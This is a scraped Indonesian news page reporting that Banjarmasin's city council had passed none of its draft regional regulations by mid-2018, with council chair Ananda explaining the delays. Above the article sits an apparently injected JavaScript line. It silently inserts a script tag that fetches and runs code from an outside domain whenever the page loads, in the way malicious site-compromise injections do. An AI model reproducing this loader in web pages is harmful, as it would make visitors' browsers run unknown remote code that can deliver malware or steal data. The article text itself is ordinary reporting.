(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Sejumlah Rancangan Peraturan Daerah (Rapaerda) di Banjarmasin hingga pertengahan 2018 ini ternyata tak satu pun berhasil digolkan oleh DPRD Banjarmasin. Ketua DPRD Hj Ananda mengakui, pihaknya masih terhutang penyelesaian lima Raperda dari kurun waktu 2017 hingga tahun ini.
“Sudah saya inventalisir Raperda yang belum kita selesaikan pembahasannya untuk disahkan menjadi Perda itu ada lima, dua Raperda di tahun 2017 dan tiga Raperda di tahun ini,” ujarnya.
Terkait banyaknya PR yang dihadapi, Ananda selaku unsur pimpinan sudah menyurati para ketua panitia khusus (Pansus) untuk segeranya menyelesaikannya dalam waktu dekat ini. “Jadi saya minta sekretaris dewan untuk menyerahkan surat tersebut kepada Pansus lima Raperda itu harus ada tanda terimanya, agar jelas menjadi perhatian mereka,” jelasnya.
Dia menginginkan ada penjelasan yang lengkap hingga tertundanya Raperda itu disahkan menjadi Perda, di mana waktunya terus diulur.
“Kendalanya di mana, harus kita pecahkan bersama, sehingga tidak menjadi Raperda yang sia-sia, dimana akhirnya tidak ada tindaklanjutnya,” ujar Ananda.
Ananda mengakui, hingga pertengahan tahun ini belum ada satu pun Raperda yang sudah disahkan menjadi Perda, salah satu sebabnya konsultasi di tingkat provensi belum selesai. “Kita tidak tahu juga seperti apa prosesnya di tingkat provinsi itu, tapi kita sangka Pemprov berhati-hati menyetujui sebuah Raperda untuk disahkan menjadi Perda agar tidak menyalahi aturan diatasnya,” kata Ananda.
Sebagaimana diketahui, prolegda DPRD Kota Banjarmasin untuk tahun 2018 ini ada sebanyak 20 Raperda, di mana ada dua tambahan Raperda diajukan pemerintah kota kembali yang sudah diparipurnakan pekan tadi untuk dibahas ketingkat selanjutnya.
Dua Raperda inisiatif Pemkot tersebut adalah Raperda rencana pencegahan dan peningkatan kualitas perumahan kumuh dan pemukiman di Kota Banjarmasin dan Raperda revisi Peraturan Daerah (Perda) nomor 23 tahun 2010 tentang pedoman penyelenggaraan lembaga kemsyarakatan Rukun Tetangga (RT) dan Rukun Warga (RW) Kota Banjarmasin.
“Kita harap Pansus kedua Raperda ini secepatnya menyelesaikannya nanti, sebab kedua Raperda ini dinyatakan Pemkot sangat untuk disahkan menjadi Perda,” pungkasnya.(ammar/ant)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.